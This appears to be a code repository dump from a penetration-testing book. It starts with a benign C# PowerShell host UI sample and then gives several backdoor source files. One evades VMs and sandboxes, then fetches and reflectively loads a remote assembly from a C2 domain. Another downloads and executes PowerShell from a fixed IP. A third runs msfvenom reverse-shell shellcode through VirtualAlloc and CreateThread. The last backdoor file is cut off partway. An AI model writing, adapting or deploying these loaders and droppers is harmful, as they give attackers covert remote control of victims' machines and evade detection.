590 | /// The exit code that the
591 | /// host application should use.
592 | public override void SetShouldExit(int exitCode)
593 | {
594 | this.program.ShouldExit = true;
595 | this.program.ExitCode = exitCode;
596 | }
597 |
598 | #region IHostSupportsInteractiveSession Methods
599 |
600 | ///
601 | /// Requests to close a PSSession.
602 | ///
603 | public void PopRunspace()
604 | {
605 | Runspace = this.pushedRunspace;
606 | this.pushedRunspace = null;
607 | }
608 |
609 | ///
610 | /// Requests to open a PSSession.
611 | ///
612 | /// Runspace to use.
613 | public void PushRunspace(Runspace runspace)
614 | {
615 | this.pushedRunspace = Runspace;
616 | Runspace = runspace;
617 | }
618 |
619 | #endregion IHostSupportsInteractiveSession Methods
620 | }
621 |
622 | internal class MyHostUserInterface : PSHostUserInterface, IHostUISupportsMultipleChoiceSelection
623 | {
624 | ///
625 | /// A reference to the PSRawUserInterface implementation.
626 | ///
627 | private MyRawUserInterface myRawUi = new MyRawUserInterface();
628 |
629 | ///
630 | /// Gets an instance of the PSRawUserInterface class for this host
631 | /// application.
632 | ///
633 | public override PSHostRawUserInterface RawUI
634 | {
635 | get { return this.myRawUi; }
636 | }
637 |
638 | ///
639 | /// Prompts the user for input.
640 | /// The caption or title of the prompt.
641 | /// The text of the prompt.
642 | /// A collection of FieldDescription objects
643 | /// that describe each field of the prompt.
644 | /// A dictionary object that contains the results of the user
645 | /// prompts.
646 | public override Dictionary Prompt(
647 | string caption,
648 | string message,
649 | Collection descriptions)
650 | {
651 | this.Write(
652 | ConsoleColor.DarkCyan,
653 | ConsoleColor.Black,
654 | caption + "\n" + message + " ");
655 | Dictionary results =
656 | new Dictionary();
657 | foreach (FieldDescription fd in descriptions)
658 | {
659 | string[] label = GetHotkeyAndLabel(fd.Label);
660 | this.WriteLine(label[1]);
661 | string userData = Console.ReadLine();
662 | if (userData == null)
663 | {
664 | return null;
665 | }
666 |
667 | results[fd.Name] = PSObject.AsPSObject(userData);
668 | }
669 |
670 | return results;
671 | }
672 |
673 | ///
674 |
675 | /// Provides a set of choices that enable the user to choose a
676 | /// single option from a set of options.
677 | ///
678 | /// Text that proceeds (a title) the choices.
679 | /// A message that describes the choice.
680 | /// A collection of ChoiceDescription objects that
681 | /// describ each choice.
682 | /// The index of the label in the Choices
683 | /// parameter collection. To indicate no default choice, set to -1.
684 | /// The index of the Choices parameter collection element that
685 | /// corresponds to the option that is selected by the user.
686 | public override int PromptForChoice(
687 | string caption,
688 | string message,
689 | Collection choices,
690 | int defaultChoice)
691 | {
692 | // Write the caption and message strings in Blue.
693 | this.WriteLine(
694 | ConsoleColor.Blue,
695 | ConsoleColor.Black,
696 | caption + "\n" + message + "\n");
697 |
698 | // Convert the choice collection into something that is
699 | // easier to work with. See the BuildHotkeysAndPlainLabels
700 | // method for details.
701 | string[,] promptData = BuildHotkeysAndPlainLabels(choices);
702 |
703 | // Format the overall choice prompt string to display.
704 | StringBuilder sb = new StringBuilder();
705 | for (int element = 0; element < choices.Count; element++)
706 | {
707 | sb.Append(String.Format(
708 | CultureInfo.CurrentCulture,
709 | "|{0}> {1} ",
710 | promptData[0, element],
711 | promptData[1, element]));
712 | }
713 |
714 | sb.Append(String.Format(
715 | CultureInfo.CurrentCulture,
716 | "[Default is ({0}]",
717 | promptData[0, defaultChoice]));
718 |
719 | // Read prompts until a match is made, the default is
720 | // chosen, or the loop is interrupted with ctrl-C.
721 | while (true)
722 | {
723 | this.WriteLine(ConsoleColor.Cyan, ConsoleColor.Black, sb.ToString());
724 | string data = Console.ReadLine().Trim().ToUpper(CultureInfo.CurrentCulture);
725 |
726 | // If the choice string was empty, use the default selection.
727 | if (data.Length == 0)
728 | {
729 | return defaultChoice;
730 | }
731 |
732 | // See if the selection matched and return the
733 | // corresponding index if it did.
734 | for (int i = 0; i < choices.Count; i++)
735 | {
736 | if (promptData[0, i] == data)
737 | {
738 | return i;
739 | }
740 | }
741 |
742 | this.WriteErrorLine("Invalid choice: " + data);
743 | }
744 | }
745 |
746 | #region IHostUISupportsMultipleChoiceSelection Members
747 |
748 | ///
749 | /// Provides a set of choices that enable the user to choose a one or
750 | /// more options from a set of options.
751 | ///
752 | /// Text that proceeds (a title) the choices.
753 | /// A message that describes the choice.
754 | /// A collection of ChoiceDescription objects that
755 | /// describ each choice.
756 | /// The index of the label in the Choices
757 | /// parameter collection. To indicate no default choice, set to -1.
758 | /// The index of the Choices parameter collection element that
759 | /// corresponds to the option that is selected by the user.
760 | public Collection PromptForChoice(
761 | string caption,
762 | string message,
763 | Collection choices,
764 | IEnumerable defaultChoices)
765 | {
766 | // Write the caption and message strings in Blue.
767 | this.WriteLine(
768 | ConsoleColor.Blue,
769 | ConsoleColor.Black,
770 | caption + "\n" + message + "\n");
771 |
772 | // Convert the choice collection into something that is
773 | // easier to work with. See the BuildHotkeysAndPlainLabels
774 | // method for details.
775 | string[,] promptData = BuildHotkeysAndPlainLabels(choices);
776 |
777 | // Format the overall choice prompt string to display.
778 | StringBuilder sb = new StringBuilder();
779 | for (int element = 0; element < choices.Count; element++)
780 | {
781 | sb.Append(String.Format(
782 | CultureInfo.CurrentCulture,
783 | "|{0}> {1} ",
784 | promptData[0, element],
785 | promptData[1, element]));
786 | }
787 |
788 | Collection defaultResults = new Collection();
789 | if (defaultChoices != null)
790 | {
791 | int countDefaults = 0;
792 | foreach (int defaultChoice in defaultChoices)
793 | {
794 | ++countDefaults;
795 | defaultResults.Add(defaultChoice);
796 | }
797 |
798 | if (countDefaults != 0)
799 | {
800 | sb.Append(countDefaults == 1 ? "[Default choice is " : "[Default choices are ");
801 | foreach (int defaultChoice in defaultChoices)
802 | {
803 | sb.AppendFormat(
804 | CultureInfo.CurrentCulture,
805 | "\"{0}\",",
806 | promptData[0, defaultChoice]);
807 | }
808 |
809 | sb.Remove(sb.Length - 1, 1);
810 | sb.Append("]");
811 | }
812 | }
813 |
814 | this.WriteLine(
815 | ConsoleColor.Cyan,
816 | ConsoleColor.Black,
817 | sb.ToString());
818 | // Read prompts until a match is made, the default is
819 | // chosen, or the loop is interrupted with ctrl-C.
820 | Collection results = new Collection();
821 | while (true)
822 | {
823 | ReadNext:
824 | string prompt = string.Format(CultureInfo.CurrentCulture, "Choice[{0}]:", results.Count);
825 | this.Write(ConsoleColor.Cyan, ConsoleColor.Black, prompt);
826 | string data = Console.ReadLine().Trim().ToUpper(CultureInfo.CurrentCulture);
827 |
828 | // If the choice string was empty, no more choices have been made.
829 | // If there were no choices made, return the defaults
830 | if (data.Length == 0)
831 | {
832 | return (results.Count == 0) ? defaultResults : results;
833 | }
834 |
835 | // See if the selection matched and return the
836 | // corresponding index if it did.
837 | for (int i = 0; i < choices.Count; i++)
838 | {
839 | if (promptData[0, i] == data)
840 | {
841 | results.Add(i);
842 | goto ReadNext;
843 | }
844 | }
845 |
846 | this.WriteErrorLine("Invalid choice: " + data);
847 | }
848 | }
849 |
850 | #endregion
851 |
852 | ///
853 | /// Prompts the user for credentials with a specified prompt window
854 | /// caption, prompt message, user name, and target name. In this
855 | /// example this functionality is not needed so the method throws a
856 | /// NotImplementException exception.
857 | ///
858 | /// The caption for the message window.
859 | /// The text of the message.
860 | /// The user name whose credential is to be
861 | /// prompted for.
862 | /// The name of the target for which the
863 | /// credential is collected.
864 | /// Throws a NotImplementedException exception.
865 | public override PSCredential PromptForCredential(
866 | string caption,
867 | string message,
868 | string userName,
869 | string targetName)
870 | {
871 | throw new NotImplementedException(
872 | "The method or operation is not implemented.");
873 | }
874 |
875 | ///
876 | /// Prompts the user for credentials by using a specified prompt window
877 | /// caption, prompt message, user name and target name, credential
878 | /// types allowed to be returned, and UI behavior options. In this
879 | /// example this functionality is not needed so the method throws a
880 | /// NotImplementException exception.
881 | ///
882 | /// The caption for the message window.
883 | /// The text of the message.
884 | /// The user name whose credential is to be
885 | /// prompted for.
886 | /// The name of the target for which the
887 | /// credential is collected.
888 | /// A PSCredentialTypes constant
889 | /// that identifies the type of credentials that can be returned.
890 | /// A PSCredentialUIOptions constant that
891 | /// identifies the UI behavior when it gathers the credentials.
892 | /// Throws a NotImplementedException exception.
893 | public override PSCredential PromptForCredential(
894 | string caption,
895 | string message,
896 | string userName,
897 | string targetName,
898 | PSCredentialTypes allowedCredentialTypes,
899 | PSCredentialUIOptions options)
900 | {
901 | throw new NotImplementedException(
902 | "The method or operation is not implemented.");
903 | }
904 |
905 | ///
906 | /// Reads characters that are entered by the user until a newline
907 | /// (carriage return) is encountered.
908 | ///
909 | /// The characters that are entered by the user.
910 | public override string ReadLine()
911 | {
912 | return Console.ReadLine();
913 | }
914 |
915 | ///
916 | /// Reads characters entered by the user until a newline (carriage return)
917 | /// is encountered and returns the characters as a secure string. In this
918 | /// example this functionality is not needed so the method throws a
919 | /// NotImplementException exception.
920 | ///
921 | /// Throws a NotImplemented exception.
922 | public override System.Security.SecureString ReadLineAsSecureString()
923 | {
924 | throw new NotImplementedException("The method or operation is not implemented.");
925 | }
926 |
927 | ///
928 | /// Writes characters to the output display of the host.
929 | ///
930 | /// The characters to be written.
931 | public override void Write(string value)
932 | {
933 | Console.Write(value);
934 | }
935 |
936 | ///
937 | /// Writes characters to the output display of the host with possible
938 | /// foreground and background colors.
939 | ///
940 | /// The color of the characters.
941 | /// The backgound color to use.
942 | /// The characters to be written.
943 | public override void Write(
944 | ConsoleColor foregroundColor,
945 | ConsoleColor backgroundColor,
946 | string value)
947 | {
948 | ConsoleColor oldFg = Console.ForegroundColor;
949 | ConsoleColor oldBg = Console.BackgroundColor;
950 | Console.ForegroundColor = foregroundColor;
951 | Console.BackgroundColor = backgroundColor;
952 | Console.Write(value);
953 | Console.ForegroundColor = oldFg;
954 | Console.BackgroundColor = oldBg;
955 | }
956 |
957 |
958 | ///
959 | /// Writes a line of characters to the output display of the host
960 | /// with foreground and background colors and appends a newline (carriage return).
961 | ///
962 | /// The forground color of the display.
963 | /// The background color of the display.
964 | /// The line to be written.
965 | public override void WriteLine(
966 | ConsoleColor foregroundColor,
967 | ConsoleColor backgroundColor,
968 | string value)
969 | {
970 | ConsoleColor oldFg = Console.ForegroundColor;
971 | ConsoleColor oldBg = Console.BackgroundColor;
972 | Console.ForegroundColor = foregroundColor;
973 | Console.BackgroundColor = backgroundColor;
974 | Console.WriteLine(value);
975 | Console.ForegroundColor = oldFg;
976 | Console.BackgroundColor = oldBg;
977 | }
978 |
979 | ///
980 | /// Writes a debug message to the output display of the host.
981 | ///
982 | /// The debug message that is displayed.
983 | public override void WriteDebugLine(string message)
984 | {
985 | this.WriteLine(
986 | ConsoleColor.DarkYellow,
987 | ConsoleColor.Black,
988 | String.Format(CultureInfo.CurrentCulture, "DEBUG: {0}", message));
989 | }
990 |
991 |
992 | ///
993 | /// Writes an error message to the output display of the host.
994 | ///
995 | /// The error message that is displayed.
996 | public override void WriteErrorLine(string value)
997 | {
998 | this.WriteLine(
999 | ConsoleColor.Red,
1000 | ConsoleColor.Black,
1001 | value);
1002 | }
1003 |
1004 | ///
1005 | /// Writes a newline character (carriage return)
1006 | /// to the output display of the host.
1007 | ///
1008 | public override void WriteLine()
1009 | {
1010 | Console.WriteLine();
1011 | }
1012 |
1013 | ///
1014 | /// Writes a line of characters to the output display of the host
1015 | /// and appends a newline character(carriage return).
1016 | ///
1017 | /// The line to be written.
1018 | public override void WriteLine(string value)
1019 | {
1020 | Console.WriteLine(value);
1021 | }
1022 |
1023 | ///
1024 | /// Writes a progress report to the output display of the host.
1025 | ///
1026 | /// Unique identifier of the source of the record.
1027 | /// A ProgressReport object.
1028 | public override void WriteProgress(long sourceId, ProgressRecord record)
1029 | {
1030 |
1031 | }
1032 |
1033 | ///
1034 | /// Writes a verbose message to the output display of the host.
1035 | ///
1036 | /// The verbose message that is displayed.
1037 | public override void WriteVerboseLine(string message)
1038 | {
1039 | this.WriteLine(
1040 | ConsoleColor.Green,
1041 | ConsoleColor.Black,
1042 | String.Format(CultureInfo.CurrentCulture, "VERBOSE: {0}", message));
1043 | }
1044 |
1045 | ///
1046 | /// Writes a warning message to the output display of the host.
1047 | ///
1048 | /// The warning message that is displayed.
1049 | public override void WriteWarningLine(string message)
1050 | {
1051 | this.WriteLine(
1052 | ConsoleColor.Yellow,
1053 | ConsoleColor.Black,
1054 | String.Format(CultureInfo.CurrentCulture, "WARNING: {0}", message));
1055 | }
1056 |
1057 |
1058 | ///
1059 | /// Parse a string containing a hotkey character.
1060 | /// Take a string of the form
1061 | /// Yes to &all
1062 | /// and returns a two-dimensional array split out as
1063 | /// "A", "Yes to all".
1064 | ///
1065 | /// The string to process
1066 | ///
1067 | /// A two dimensional array containing the parsed components.
1068 | ///
1069 | private static string[] GetHotkeyAndLabel(string input)
1070 | {
1071 | string[] result = new string[] { String.Empty, String.Empty };
1072 | string[] fragments = input.Split('&');
1073 | if (fragments.Length == 2)
1074 | {
1075 | if (fragments[1].Length > 0)
1076 | {
1077 | result[0] = fragments[1][0].ToString().
1078 | ToUpper(CultureInfo.CurrentCulture);
1079 | }
1080 |
1081 | result[1] = (fragments[0] + fragments[1]).Trim();
1082 | }
1083 | else
1084 | {
1085 | result[1] = input;
1086 | }
1087 |
1088 | return result;
1089 | }
1090 |
1091 | ///
1092 | /// This is a private worker function splits out the
1093 | /// accelerator keys from the menu and builds a two
1094 | /// dimentional array with the first access containing the
1095 | /// accelerator and the second containing the label string
1096 | /// with the & removed.
1097 | ///
1098 | /// The choice collection to process
1099 | ///
1100 | /// A two dimensional array containing the accelerator characters
1101 | /// and the cleaned-up labels
1102 | private static string[,] BuildHotkeysAndPlainLabels(
1103 | Collection choices)
1104 | {
1105 | // Allocate the result array
1106 | string[,] hotkeysAndPlainLabels = new string[2, choices.Count];
1107 |
1108 | for (int i = 0; i < choices.Count; ++i)
1109 | {
1110 | string[] hotkeyAndLabel = GetHotkeyAndLabel(choices[i].Label);
1111 | hotkeysAndPlainLabels[0, i] = hotkeyAndLabel[0];
1112 | hotkeysAndPlainLabels[1, i] = hotkeyAndLabel[1];
1113 | }
1114 |
1115 | return hotkeysAndPlainLabels;
1116 | }
1117 | }
1118 | internal class MyRawUserInterface : PSHostRawUserInterface
1119 | {
1120 | ///
1121 | /// Gets or sets the background color of text to be written.
1122 | /// This maps to the corresponding Console.Background property.
1123 | ///
1124 | public override ConsoleColor BackgroundColor
1125 | {
1126 | get { return Console.BackgroundColor; }
1127 | set { Console.BackgroundColor = value; }
1128 | }
1129 |
1130 | ///
1131 | /// Gets or sets the host buffer size adapted from the Console buffer
1132 | /// size members.
1133 | ///
1134 | public override Size BufferSize
1135 | {
1136 | get { return new Size(Console.BufferWidth, Console.BufferHeight); }
1137 | set { Console.SetBufferSize(value.Width, value.Height); }
1138 | }
1139 |
1140 | ///
1141 | /// Gets or sets the cursor position. In this example this
1142 | /// functionality is not needed so the property throws a
1143 | /// NotImplementException exception.
1144 | ///
1145 | public override Coordinates CursorPosition
1146 | {
1147 | get { throw new NotImplementedException( "The method or operation is not implemented."); }
1148 | set { throw new NotImplementedException( "The method or operation is not implemented."); }
1149 | }
1150 |
1151 | ///
1152 | /// Gets or sets the cursor size taken directly from the
1153 | /// Console.CursorSize property.
1154 | ///
1155 | public override int CursorSize
1156 | {
1157 | get { return Console.CursorSize; }
1158 | set { Console.CursorSize = value; }
1159 | }
1160 |
1161 | ///
1162 | /// Gets or sets the foreground color of the text to be written.
1163 | /// This maps to the corresponding Console.ForgroundColor property.
1164 | ///
1165 | public override ConsoleColor ForegroundColor
1166 | {
1167 | get { return Console.ForegroundColor; }
1168 | set { Console.ForegroundColor = value; }
1169 | }
1170 |
1171 | ///
1172 | /// Gets a value indicating whether a key is available. This maps to
1173 | /// the corresponding Console.KeyAvailable property.
1174 | ///
1175 | public override bool KeyAvailable
1176 | {
1177 | get { return Console.KeyAvailable; }
1178 | }
1179 |
1180 | ///
1181 | /// Gets the maximum physical size of the window adapted from the
1182 | /// Console.LargestWindowWidth and Console.LargestWindowHeight
1183 | /// properties.
1184 | ///
1185 | public override Size MaxPhysicalWindowSize
1186 | {
1187 | get { return new Size(Console.LargestWindowWidth, Console.LargestWindowHeight); }
1188 | }
1189 |
1190 | ///
1191 | /// Gets the maximum window size adapted from the
1192 | /// Console.LargestWindowWidth and console.LargestWindowHeight
1193 | /// properties.
1194 | ///
1195 | public override Size MaxWindowSize
1196 | {
1197 | get { return new Size(Console.LargestWindowWidth, Console.LargestWindowHeight); }
1198 | }
1199 |
1200 | ///
1201 | /// Gets or sets the window position adapted from the Console window position
1202 | /// members.
1203 | ///
1204 | public override Coordinates WindowPosition
1205 | {
1206 | get { return new Coordinates(Console.WindowLeft, Console.WindowTop); }
1207 | set { Console.SetWindowPosition(value.X, value.Y); }
1208 | }
1209 |
1210 | ///
1211 | /// Gets or sets the window size adapted from the corresponding Console
1212 | /// calls.
1213 | ///
1214 | public override Size WindowSize
1215 | {
1216 | get { return new Size(Console.WindowWidth, Console.WindowHeight); }
1217 | set { Console.SetWindowSize(value.Width, value.Height); }
1218 | }
1219 |
1220 | ///
1221 | /// Gets or sets the title of the window mapped to the Console.Title
1222 | /// property.
1223 | ///
1224 | public override string WindowTitle
1225 | {
1226 | get { return Console.Title; }
1227 | set { Console.Title = value; }
1228 | }
1229 |
1230 | ///
1231 | /// This API resets the input buffer. In this example this
1232 | /// functionality is not needed so the method returns nothing.
1233 | ///
1234 | public override void FlushInputBuffer()
1235 | {
1236 | }
1237 |
1238 | ///
1239 | /// This API returns a rectangular region of the screen buffer. In
1240 | /// this example this functionality is not needed so the method throws
1241 | /// a NotImplementException exception.
1242 | ///
1243 | /// Defines the size of the rectangle.
1244 | /// Throws a NotImplementedException exception.
1245 | public override BufferCell[,] GetBufferContents(Rectangle rectangle)
1246 | {
1247 | throw new NotImplementedException(
1248 | "The method or operation is not implemented.");
1249 | }
1250 |
1251 | ///
1252 | /// This API Reads a pressed, released, or pressed and released keystroke
1253 | /// from the keyboard device, blocking processing until a keystroke is
1254 | /// typed that matches the specified keystroke options. In this example
1255 | /// this functionality is not needed so the method throws a
1256 | /// NotImplementException exception.
1257 | ///
1258 | /// Options, such as IncludeKeyDown, used when
1259 | /// reading the keyboard.
1260 | /// Throws a NotImplementedException exception.
1261 | public override KeyInfo ReadKey(ReadKeyOptions options)
1262 | {
1263 | throw new NotImplementedException(
1264 | "The method or operation is not implemented.");
1265 | }
1266 |
1267 | ///
1268 | /// This API crops a region of the screen buffer. In this example
1269 | /// this functionality is not needed so the method throws a
1270 | /// NotImplementException exception.
1271 | ///
1272 | /// The region of the screen to be scrolled.
1273 | /// The region of the screen to receive the
1274 | /// source region contents.
1275 | /// The region of the screen to include in the operation.
1276 | /// The character and attributes to be used to fill all cell.
1277 | public override void ScrollBufferContents(Rectangle source, Coordinates destination, Rectangle clip, BufferCell fill)
1278 | {
1279 | throw new NotImplementedException(
1280 | "The method or operation is not implemented.");
1281 | }
1282 |
1283 | ///
1284 | /// This API copies an array of buffer cells into the screen buffer
1285 | /// at a specified location. In this example this functionality is
1286 | /// not needed si the method throws a NotImplementedException exception.
1287 | ///
1288 | /// The parameter is not used.
1289 | /// The parameter is not used.
1290 | public override void SetBufferContents(Coordinates origin, BufferCell[,] contents)
1291 | {
1292 | throw new NotImplementedException(
1293 | "The method or operation is not implemented.");
1294 | }
1295 |
1296 | ///
1297 | /// This API Copies a given character, foreground color, and background
1298 | /// color to a region of the screen buffer. In this example this
1299 | /// functionality is not needed so the method throws a
1300 | /// NotImplementException exception.///
1301 | /// Defines the area to be filled.
1302 | /// Defines the fill character.
1303 | public override void SetBufferContents(Rectangle rectangle, BufferCell fill)
1304 | {
1305 | throw new NotImplementedException(
1306 | "The method or operation is not implemented.");
1307 | }
1308 | }
1309 | ]]>
1310 |
1311 |
1312 |
1313 |
1314 |
--------------------------------------------------------------------------------
/old/chap2/psh.xml:
--------------------------------------------------------------------------------
1 |
2 |
9 |
10 |
11 |
12 |
13 |
17 |
18 |
19 |
20 |
21 | ())
50 | Console.WriteLine(str);
51 |
52 | Console.WriteLine("Press any key to exit...");
53 | Console.ReadKey();
54 |
55 | // End of the Execute method
56 | return true;
57 | }
58 | }
59 | ]]>
60 |
61 |
62 |
63 |
64 |
--------------------------------------------------------------------------------
/old/chap3/assembly_backdoor.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Management;
3 | using Microsoft.Win32;
4 | using System.Net;
5 | using System.Reflection;
6 | using System.Threading;
7 |
8 | /*
9 | To compile add the reference in Visual studio to C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll
10 | Otherwise use csc.exe at http://bit.ly/3otOr4h with the command:
11 | c:\Microsoft.Net.Compilers.3.8.0\tools\csc.exe /reference:C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll /unsafe /out:health-check.exe assembly_backdoor.cs
12 |
13 | Remember to change condition elements in Valid_Environment, Valid_Environment2 and Valid_launch methods to execute it your environment.
14 | Of course you need a working listener instance on your C2, Empire for instance.
15 | Full code detail available in How to Hack Like a Legend book.
16 |
17 | Sparc Flow
18 | */
19 | namespace backdoor2
20 | {
21 | class Program
22 | {
23 | static void Main(string[] args)
24 | {
25 | new Thread(() => {
26 | Thread.CurrentThread.IsBackground = true;
27 | Prepare_shape_ui();
28 | }).Start();
29 | Console.WriteLine("Press any key to exit...");
30 | Console.ReadKey();
31 |
32 | }
33 |
34 | static private void Prepare_shape_ui() {
35 | if (Valid_environment2() && Valid_environment() && Valid_launch())
36 | Custom_shape_ui();
37 | }
38 | static private bool Valid_launch() {
39 | //Fetch a registry key value that would not exist on a normal system
40 | RegistryKey key = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\UEV\\Agent");
41 | //If key "Version" is not found, return true and proceed with the backdoor
42 | if (key != null && key.GetValue("Version") == null) {
43 | return true;
44 | }
45 | return false;
46 | }
47 |
48 | static private bool Valid_environment()
49 | {
50 |
51 | string query = "SELECT * FROM Win32_OperatingSystem";
52 | var search = new ManagementObjectSearcher(query);
53 | foreach (ManagementObject obj in search.Get()) {
54 | var objectName = obj["Organization"];
55 | if (objectName == null) { continue; }
56 |
57 | string name = objectName.ToString().Trim().ToLower();
58 | if (name.StartsWith("gs") || name.StartsWith("g&s"))
59 | return true;
60 | }
61 |
62 | return false;
63 | }
64 | static private bool Valid_environment2()
65 | {
66 |
67 | var query = "SELECT * FROM Win32_VideoController";
68 | var search = new ManagementObjectSearcher(query);
69 |
70 | foreach (ManagementObject obj in search.Get())
71 | {
72 | var objectName = obj["Name"];
73 | if (objectName == null) { continue; }
74 | string name = objectName.ToString().Trim().ToLower();
75 |
76 | //ualb is short for virtualbox and² mwa for vmware
77 | if (name.Contains("mwa") || name.Contains("ualb") || name.Contains("basic") || name.Contains("adapter"))
78 | return false;
79 | }
80 |
81 | //If none of the above checks work, Valid_environment returns true
82 | return true;
83 | }
84 |
85 | static private void Custom_shape_ui()
86 | {
87 |
88 | //Array that will hold our assembly
89 | byte[] myDataBuffer = null;
90 |
91 | //Use the default proxy registered on the system
92 | System.Net.WebRequest.DefaultWebProxy.Credentials = System.Net.CredentialCache.DefaultNetworkCredentials;
93 |
94 | //classic webclient object to download data
95 | WebClient myWebClient = new WebClient();
96 | try {
97 | var url = "https://reporting.stratjumbo.co.au/health-check";
98 | myDataBuffer = myWebClient.DownloadData(url);
99 | }
100 | catch { }
101 |
102 | //If the download fails return
103 | if (myDataBuffer == null) {
104 | Console.WriteLine("could not fetch program from listener");
105 | return;
106 | }
107 | //Reflectively load it in memory
108 | Assembly a = Assembly.Load(myDataBuffer);
109 | Type t = a.GetType("fud_stager.Program");
110 | MethodInfo staticMethodInfo = t.GetMethod("Main");
111 |
112 | staticMethodInfo.Invoke(null, null);
113 |
114 | //End of Custom_shape_ui() method
115 | }
116 |
117 | }
118 | }
119 |
--------------------------------------------------------------------------------
/old/chap3/loader_stager.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Net;
3 | using System.Management.Automation;
4 | using System.Management.Automation.Host;
5 | using System.Management.Automation.Runspaces;
6 | using PowerShell = System.Management.Automation.PowerShell;
7 |
8 | /*
9 | To compile add the reference in Visual studio to C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll
10 |
11 | Otherwise use csc.exe at http://bit.ly/3otOr4h with the command:
12 | c:\Microsoft.Net.Compilers.3.8.0\tools\csc.exe /reference:C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll /unsafe /out:health-check.exe Program.cs
13 | */
14 | namespace fud_stager
15 | {
16 | class Program
17 | {
18 | static void Main(string[] args)
19 | {
20 | PowerShell Ps_instance = PowerShell.Create();
21 |
22 | WebClient myWebClient = new WebClient();
23 | try {
24 | var script1 = myWebClient.DownloadString("http://192.168.1.36:3333/full1.txt");
25 | string[] array = script1.Split('\n');
26 | foreach (string value in array)
27 | {
28 | Ps_instance.AddScript(value);
29 | }
30 | } catch{
31 | }
32 | //
33 | //Ps_instance.AddScript(script2);
34 | Ps_instance.AddCommand("out-string");
35 | Ps_instance.Invoke();
36 |
37 | }
38 | }
39 | }
40 |
--------------------------------------------------------------------------------
/old/chap3/msf_backdoor.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Runtime.InteropServices;
5 | using System.Text;
6 | using System.Threading.Tasks;
7 |
8 | /*
9 | Meterpreter wrapper inspired by https://github.com/Arno0x/CSharpScripts/blob/master/shellcodeLauncher.cs
10 | Example payload command line to paste in byte[] var variable:
11 | root@Kali:~$ msfvenom -a x86 -p windows/meterpreter/reverse_winhttps LHOST=www.stratjumbo.co.au LPORT=443 prependmigrate=true prepenmigrateprocess=explorer.exe -f csharp
12 |
13 | Compile this C# wrapper using csc:
14 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /unsafe /out:hello.exe .\msf_backdoor.cs
15 |
16 | PS: Change line 99 to suit your migration technique if you change the msfvenom command above.
17 |
18 | This wrapper was used in How to Hack Like a Legend book.
19 |
20 | */
21 | namespace shellcode
22 | {
23 | class Program
24 | {
25 | public static void Main()
26 | {
27 | byte[] var = new byte[838] {
28 | 0xfc,0xe9,0x8a,0x00,0x00,0x00,0x5d,0x83,0xc5,0x0b,0x81,0xc4,0x70,0xfe,0xff,
29 | 0xff,0x8d,0x54,0x24,0x60,0x52,0x68,0xb1,0x4a,...,0xd5 };
30 | //Allocate memory with read write and execute flags
31 | UInt32 funcAddr = VirtualAlloc(0, (UInt32)var.Length,
32 | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
33 |
34 | //Copy the buffer to memory
35 | Marshal.Copy(var, 0, (IntPtr)(funcAddr), var.Length);
36 | IntPtr hThread = IntPtr.Zero;
37 | UInt32 threadId = 0;
38 | // prepare data
39 |
40 |
41 | IntPtr pinfo = IntPtr.Zero;
42 |
43 | // execute native code
44 |
45 | hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
46 | //If prependmigrate=true in msfvenom, a wait value of 5000 ms should be sufficient for the main process to terminate after migration.
47 | WaitForSingleObject(hThread, 5000);
48 |
49 | return;
50 | }
51 |
52 | //Define static variables to be used in memory allocation
53 | private static UInt32 MEM_COMMIT = 0x1000;
54 | private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
55 |
56 | //Import VirtualAlloc frol kernel32.dll
57 | [DllImport("kernel32")]
58 | private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
59 | UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
60 |
61 | //Import CreateThread frol kernel32.dll
62 | [DllImport("kernel32")]
63 | private static extern IntPtr CreateThread(
64 | UInt32 lpThreadAttributes,
65 | UInt32 dwStackSize,
66 | UInt32 lpStartAddress,
67 | IntPtr param,
68 | UInt32 dwCreationFlags,
69 | ref UInt32 lpThreadId
70 |
71 | );
72 | //Import WaitForSingleObject frol kernel32.dll
73 | [DllImport("kernel32")]
74 | private static extern UInt32 WaitForSingleObject(
75 |
76 | IntPtr hHandle,
77 | UInt32 dwMilliseconds
78 | );
79 |
80 | }
81 | }
82 |
--------------------------------------------------------------------------------
/old/chap3/ps_backdoor.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Management;
3 | using Microsoft.Build.Framework;
4 | using System.Collections.Generic;
5 | using System.Linq;
6 | using System.Text;
7 | using System.Threading.Tasks;
8 | using System.Runtime.InteropServices;
9 | using Microsoft.Win32;
10 | using System.Net;
11 | using System.Reflection;
12 |
13 | /*
14 | Compile using the following command :
15 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /unsafe /out:hello.exe /reference:Microsoft.Build.Framework.dll .\ps_backdoor.cs
16 |
17 | Remember to change condition element sin Valid_Environment and Custom_shape_ui methods to execute it in a random environment.
18 | Full code detail available in How to Hack Like a Legend book.
19 |
20 | Sparc Flow
21 | */
22 | namespace backdoor2
23 | {
24 | class Program
25 | {
26 | static void Main(string[] args)
27 | {
28 | // Check if running inside a VM
29 | if (Valid_environment())
30 | {
31 | Custom_shape_ui();
32 | }
33 | else
34 | Console.WriteLine("norun");
35 | Console.WriteLine("Press any key to exit...");
36 | Console.ReadKey();
37 |
38 | }
39 |
40 | static private void Custom_shape_ui()
41 | {
42 | RegistryKey key = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\UEV\\Agent");
43 | //If key is present, the backdoor exits (arbitrary kill switch when normal persistence is achieved)
44 | if (key != null)
45 | {
46 | if (key.GetValue("Version") == null)
47 | {
48 | //Start real backdoor logic
49 | Custom_shape_ui_launcher();
50 |
51 | }
52 | }
53 |
54 | }
55 | static private void Custom_shape_ui_launcher()
